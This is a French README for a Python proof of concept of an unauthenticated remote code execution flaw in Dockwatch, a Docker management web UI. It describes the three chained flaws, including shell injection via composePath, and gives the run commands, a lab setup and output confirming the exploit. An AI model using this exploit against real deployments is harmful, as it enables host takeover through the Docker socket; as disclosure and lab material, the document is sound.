
PoC pour CVE-2026-58455 : Dockwatch <=0.6.567 RCE non authentifiée. Python utilisant uniquement la bibliothèque standard.
Preuve de concept pour CVE-2026-58455 : exécution de code à distance non authentifiée dans Dockwatch (par Notifiarr), une interface web auto-hébergée de gestion de conteneurs Docker. Affecte toutes les versions jusqu'à 0.6.567.
Trois failles enchaînées :
GET /includes/header.php exécute $_SESSION['IN_DOCKWATCH'] = true; pour tout visiteur. La couche AJAX (ajax/shared.php) ne vérifie que cet indicateur.exit() manquant après la redirection d'authentification — loader.php envoie un en-tête Location: login.php lorsque $_SESSION['authenticated'] est faux mais ne termine pas l'exécution, donc le reste de la requête continue de s'exécuter.ajax/compose.php (m=composePull) construit une commande shell avec une entrée non assainie :
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
Enchaînées : un attaquant distant non authentifié exécute des commandes OS arbitraires en tant qu'utilisateur du serveur web à l'intérieur du conteneur. Les déploiements typiques montent /var/run/docker.sock dans le conteneur → équivalent à root sur l'hôte.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Uniquement la bibliothèque standard Python 3.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Mettez à jour Dockwatch vers une version plus récente que 0.6.567. À titre d'atténuation, n'exposez pas Dockwatch à des réseaux non fiables et retirez la liaison du socket Docker si elle n'est pas requise.
Pour la recherche en sécurité autorisée et l'utilisation en laboratoire uniquement.